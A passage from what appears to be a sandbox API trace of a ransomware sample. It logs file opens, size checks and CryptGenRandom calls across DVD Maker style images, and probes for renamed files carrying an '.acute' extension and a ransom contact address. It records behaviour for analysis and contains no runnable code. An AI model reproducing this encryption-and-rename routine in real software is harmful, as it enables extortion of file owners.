maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.582] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.582] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.582] CloseHandle (hObject=0x30c) returned 1 [0274.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0274.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.583] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.583] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.583] CloseHandle (hObject=0x30c) returned 1 [0274.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.583] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.583] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=21627) returned 1 [0274.583] CloseHandle (hObject=0x30c) returned 1 [0274.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png")) returned 0x20 [0274.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.583] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.585] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.585] CloseHandle (hObject=0x30c) returned 1 [0274.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0274.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.585] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.586] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=51801) returned 1 [0274.586] CloseHandle (hObject=0x30c) returned 1 [0274.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0274.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.586] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.586] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5088) returned 1 [0274.586] CloseHandle (hObject=0x30c) returned 1 [0274.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0274.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.586] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.586] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3130) returned 1 [0274.587] CloseHandle (hObject=0x30c) returned 1 [0274.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0274.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.587] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.587] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5025) returned 1 [0274.587] CloseHandle (hObject=0x30c) returned 1 [0274.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0274.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.587] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.588] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3118) returned 1 [0274.588] CloseHandle (hObject=0x30c) returned 1 [0274.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0274.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.588] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.588] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4955) returned 1 [0274.588] CloseHandle (hObject=0x30c) returned 1 [0274.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0274.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.589] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.589] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3081) returned 1 [0274.589] CloseHandle (hObject=0x30c) returned 1 [0274.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.589] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.589] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=96025) returned 1 [0274.589] CloseHandle (hObject=0x30c) returned 1 [0274.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0274.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.589] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.590] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2864) returned 1 [0274.590] CloseHandle (hObject=0x30c) returned 1 [0274.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0274.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.590] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.590] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4815) returned 1 [0274.590] CloseHandle (hObject=0x30c) returned 1 [0274.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0274.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.590] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.591] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3030) returned 1 [0274.591] CloseHandle (hObject=0x30c) returned 1 [0274.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0274.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff 